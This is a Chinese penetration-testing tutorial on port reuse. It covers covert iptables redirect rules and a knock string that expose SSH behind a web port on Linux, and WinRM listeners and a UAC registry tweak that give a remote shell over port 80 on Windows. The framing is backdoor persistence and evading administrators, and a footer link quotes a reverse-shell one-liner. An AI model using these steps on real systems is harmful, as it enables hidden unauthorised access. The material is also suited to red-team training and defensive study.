学习
实践
活动
专区
工具
TVP
写文章
专栏首页Ms08067安全实验室一文打尽 Linux/Windows端口复用实战

一文打尽 Linux/Windows端口复用实战

定义:端口复用是指不同的应用程序使用相同端口进行通讯。

场景:内网渗透中,搭建隧道时,服务器仅允许指定的端口对外开放。利用端口复用可以将3389或22等端口转发到如80端口上,以便外部连接。

示意图:

功能:

  • 端口复用可以更好地隐蔽攻击行为,提高生存几率。
  • 端口复用有时也用作通道后门。

特点:

  • 端口复用在系统已开放的端口上进行通讯,只对输入的信息进行字符匹配,不对网络数据进行任何拦截、复制类操作,所以对网络数据的传输性能几乎没有影响。

一、Linux端口复用


1.概述

使用iptables实现端口复用,使用socat进行连接。

使用该方法开启的端口复用为有限的端口复用,复用后端口正常业务会受影响,仅用于后门留存,或者临时使用,不建议长期使用。

2.原理

(1) iptables

iptables是linux下的防火墙管理工具。

  • 真正实现防火墙功能的是netfilter,它是linux内核中实现包过滤的核心。
  • 免费。
  • 可实现封包过滤、封包重定向网路地址转换(NAT)等功能。

(2) 数据通过防火墙流程

(3) 链

链是一些按顺序排列的规则的列表。

  • PREROUTING链——对数据包作路由选择前应用此链中的规则(所有的数据包进来的时侯都先由这个链处理)
  • INPUT链——进来的数据包应用此规则链中的策略
  • OUTPUT链——外出的数据包应用此规则链中的策略
  • FORWARD链——转发数据包时应用此规则链中的策略
  • POSTROUTING链——对数据包作路由选择后应用此链中的规则(所有的数据包出来的时侯都先由这个链处理)

(4) 表

表由一组预先定义的链组成。

  • filter表——用于存放所有与防火墙相关操作的默认表。通常用于过滤数据包。
  • nat表——用于网络地址转换
  • mangle表——用于处理数据包
  • raw表——用于配置数据包,raw 中的数据包不会被系统跟踪。

(5) 链和表的关系及顺序

  • PREROUTING: raw -> mangle -> nat
  • INPUT: mangle -> filter
  • FORWARD: mangle -> filter
  • OUTPUT: raw -> mangle -> nat -> filter
  • POSTROUTING: mangle -> nat

(6) 表和链的关系

实际使用中是从表作为操作入口:

  • raw 表:PREROUTING,OUTPUT
  • mangle表:PREROUTING,INPUT,FORWARD,OUTPUT,POSTROUTING
  • nat 表:PREROUTING,OUTPUT,POSTROUTING
  • filter 表:INPUT,FORWARD,OUTPUT

(7) 添加规则

iptables ‐t 表名 <‐A/I/D/R> 规则链名 [规则号] <‐i/o 网卡名> ‐p 协议名 <‐s 源ip、源子网> ‐‐sport 源端口 <‐d 目标ip/目标子网> ‐‐dport 目标端口 ‐j 动作

(8) socat

Socat是linux下的一个多功能的网络工具,名字来由是socket cat。其功能与netcat类似,可以看做是netcat的加强版。

3.指令速查

(1) 配置端口复用及开关规则

  • 目标主机上创建新转发链
  • 设置复用规则(设置转发规则)
  • 设置开关规则(接受约定字符后规则生效/失效)
  • 约定字符尽量复杂

# 新建端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# 开启端口复用
iptables -t nat -A PREROUTING -p tcp --dport 8000 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

(2) 使用socat连接

使用socat发送约定口令至目标主机打开端口复用开关

echo threathuntercoming | socat ‐ tcp:192.168.245.135:8000

使用完毕后,发送约定关闭口令至目标主机目标端口关闭端口复用

echo threathunterleaving | socat ‐ tcp:192.168.245.135:8000

4.实验

  • Target:Ubuntu 16.04 x64
  • IP:192.168.245.135
  • 开启8000端口的web服务
  • 开启22端口

配置端口复用:

  • Attacker:Kali 2020 x64
  • IP:192.168.245.130

使用socat连接:

此时ssh可以通过8000访问,但是8000端口的正常web业务受到影响:

使用socat断开连接,ssh无法再连接,但是8000端口回复正常:

5.参考链接

  • https://www.jianshu.com/p/12a24a95fe2c
  • https://www.freebuf.com/articles/network/137683.html

二、Windows端口复用


1.概述

使用HTTP.sys中的Net.tcp Port Sharing服务,配合WinRM实现端口复用。

  • 优点:HTTP.sys为windows原生机制,WinRM为windows自带功能,动作较小,不易触发主动防御。
  • 需要管理员权限。

2.原理

(1) HTTP.sys

HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序。

  • 为了优化IIS服务器性能
  • 从IIS6.0引入(即Windows Server 2003及以上版本)
  • IIS服务进程依赖HTTP.sys

HTTP.sys监听HTTP流量,然后根据URL注册的情况去分发,以实现多个进程在同一个端口监听HTTP流量。微软公开了HTTP Server API库,Httpcfg、Netsh等都是基于它的。

整个过程描述如下:

Step 1.注册:IIS或其他应用使用HTTP Server API时,需要先在HTTP.sys上面注册url prefix,以监听请求路径。

Step 2.路由:HTTP.sys获取到request请求,并分发这个请求给注册当前url对应的应用。

(2) Net.tcp Port Sharing

Net.tcp Port Sharing服务是WCF(Windows Communication Foundation,微软的一个框架)中的一个新系统组件,这个服务会开启Net.tcp端口共享功能以达到在用户的不同进程之间实现端口共享。这个机制的最终是在HTTP.sys中实现的。目前将许多不同HTTP应用程序的流量复用到单个TCP端口上的HTTP.sys模型已经成为windows平台上的标准配置。

在以前的web应用中,一个web应用绑定一个端口,若有其他应用则需要绑定其他的端口才能实现监听。如下图所示,Web Application 1绑定了80端口后,Web Application 2再去绑定80端口会出错。

现在使用微软提供的NET.tcp Port Sharing服务,只要遵循相关的开发接口规则,就可以实现不同的应用共享相同的web服务器端口。如下图中Web Application 1和Web Application 2同时绑定在80端口。

(3) WinRM

WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录windows操作系统,获得一个类似telnet的交互式命令行shell,而底层通讯协议使用的正是HTTP。

事实上,WinRM已经在HTTP.sys上注册了名为wsman的url前缀,默认监听端口5985。因此,在安装了IIS的边界windows服务器上,开启WinRM服务后修改默认listener端口为80或新增一个80端口的listener即可实现端口复用,可以直接通过80端口登录windows服务器。

3.指令速查

查询当前注册url前缀:

netsh http show servicestate

(1) 开启winrm服务

Windows 2012及以上:winrm默认启动并监听了5985端口。

Windows 2008:需要手动启动winrm。

winrm quickconfig ‐q

(2) 增加80端口复用

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

(3) 更改winrm为80端口

  • 默认5985端口开启,不需要更改端口。
  • 默认5985端口不开启,则更改winrm为80端口,否则会因端口改变而引起管理员关注。
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

(4) 攻击机也需要启动winrm并设置信任连接

# 启动winrm
winrm quickconfig ‐q
# 设置信任主机地址
winrm set winrm/config/Client @{TrustedHosts="*"}

(5) 连接使用winrs命令接口连接远程winrm服务执行命令,并返回结果

winrs,Windows Remote Shell,windows远程shell,是winrm的一个组件。

winrs ‐r:http://www.aabbcc.com ‐u:administrator ‐p:Password [命令]

4.实验

  • Target:Windows Server 2008 R2 x64
  • IP:192.168.245.133

开启IIS服务。

先看一下当前注册的url前缀:

启动winrm:

再看一下注册的url前缀,发现winrm已注册:

看一下端口情况:

增加80端口复用:

更改winrm为80端口:

再看一下端口情况,发现5985端口已关闭:

  • Attacker:Windows Server 2008 R2 x64
  • IP:192.168.245.134

启动winrm并设置信任主机地址:

使用winrs远程执行命令:

执行cmd命令可获取交互式shell:

此时IIS的正常服务并未受到影响:

5.提升权限(未亲测)

WinRM服务也是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改后,普通管理员登录后也是高权限。

6.Hash登录(未亲测)

系统自带的winrs命令登录时需要使用明文账号密码,那很多场景下尤其是windows 2012以后,经常只能抓取到本地用户的hash,无法轻易获得明文密码。因此需要实现一款支持使用NTLM hash登录的客户端,使用python来实现不难。

7.参考链接

  • https://www.freebuf.com/articles/web/142628.html
  • https://paper.seebug.org/1004/
文章分享自微信公众号:
Ms08067安全实验室

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

作者:徐哥
原始发表时间:2020-12-04
如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • 一文打尽端口复用 VS Haproxy端口复用

    Haproxy是一个使用c语言开发的高性能负载均衡代理软件,提供tcp和http的应用程序代理,免费、快速且可靠。

    Ms08067安全实验室
  • 电脑入侵的必要步骤知识

    高度模拟实战我不建议使用虚拟机设备,模拟的目的是尽最大可能还原真实场景,拥有第二台个人电脑是你不二的选择;

    Arsenal
  • IT皇冠上的明珠! Linux 操作系统学习看过来!

    操作系统堪称是IT皇冠上的明珠,Linux阅码场专注Linux操作系统内核研究, 它的文章云集了国内众多知名企业一线工程师的心得,畅销著作有《linux设备驱动...

    编程珠玑
  • 红队技巧-在端口限制下的砥砺前行

    就在昨天一个大佬被提及面试腾讯的经历,嗯?也就那样吧,很基础。。。。。。。这就是大佬吧,膜拜大佬!然后我好奇的看了一下面试的一些问题,然后其中一个实战问题让我来...

    Gamma实验室
  • 最新 Java 后端系列干货,都在这了!

    以下是Java技术栈微信公众号发布的所有关于 Java Web 技术干货,会从以下几个方面汇总,本文会长期更新。

    Java技术栈
  • 【学习笔记】反弹shell命令学习笔记,实战指南,1v1攻击测试教学,常用的反弹shell命令: bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1

    为何给靶机发送这条执行命令就会自动连接到本地计算机,并且出发实时通讯机制(ps:有点类似oicq,前生就是用的这种模式开发的即时通讯)

    wjl110
  • 红队第5篇:MS12-020蓝屏漏洞在实战中的巧用

    大家好,上期分享了一篇Shiro Oracle Padding反序列化漏洞无key的实战文章,这期讲一个MS12-020蓝屏漏洞的真实利用过程。这个案例源于20...

    ABC_123
  • Goby使用教程

    本文以Windows为列 首先下载 Npcap 数据捕获包,安装完成后,启动 goby即可! 下载地址: https://nmap.org/npcap/dist...

    逍遥子大表哥
  • Metasploit 一条龙服务

    Metasploit 是目前最流行、最强大、最具扩展性的渗透测试平台软件,是笔者最崇拜也最喜欢的工具没有之一,下面我将用 msf 给大家带来一场盛大的内网渗透体...

    信安之路
  • 攻防演练-某市级教育厅HW复盘总结

    正如今年的高考题目,学习应从本手开始,把基础打好,才能在实战中打出妙手操作,如果眼高手低,往往会落到俗手的下场

    hyyrent
  • 高并发系列文章汇总帖

    高并发问题是每个公司发展到一定程度必然会面临的一类问题,也是我们每个工程师在成长过程中需要认真面对和解决的一类问题。

    Coder的技术之路
  • Linux利用iptables做端口复用

    目标主机是Linux系统,目标主机防火墙有严格的限制,只允许80端口的流量进入。我们拿到了目标主机的Webshell并且拿到了SSH的账号密码。但是我们不能通过...

    谢公子
  • 本公号喜庆又有趣的红包封面,免费大放送~

    一到年根就不太平,疫情又有抬头的迹象,挡住好多同学回家路的,可能就只是一个 ※ 号~

    Coder的技术之路
  • socket-io的底层实现设计原理

    上一篇文章 《漫谈socket-io的基本原理》 用了现实非常浅显的例子,尽可能地阐释非阻塞、阻塞、多线程、多路复用poll和 epoll 背后演进的整体思考脉...

    亦山
  • 企业实战(18)超简单实现轻量级开源堡垒机Teleport管理Linux/Windows主机(2)

    Teleport是一款简单易用的开源堡垒机系统,具有小巧、易用的特点,支持 RDP/SSH/SFTP/Telnet 协议的远程连接和审计管理。

    非著名运维
  • 内网隧道之Venom

    玄武实验室的Dliv3作品,最后更新于2019年,用Go编写,多级代理工具,功能极强,但是现在基本被各大杀软查杀了(需做好免杀)

    红客突击队
  • DEapp(差异表达分析)本地版——自由飞翔

    前面两期我们分别介绍了DEapp的理论(零代码差异表达分析, DESeq,limma,edgeR一网打尽)和实践(零代码差异表达分析——手把手带你GEO实战)。...

    生信交流平台
  • Java网络编程和NIO详解3:IO模型与Java网络编程模型

    本系列文章将整理到我在GitHub上的《Java面试指南》仓库,更多精彩内容请到我的仓库里查看

    Java技术江湖

扫码关注腾讯云开发者

领取腾讯云代金券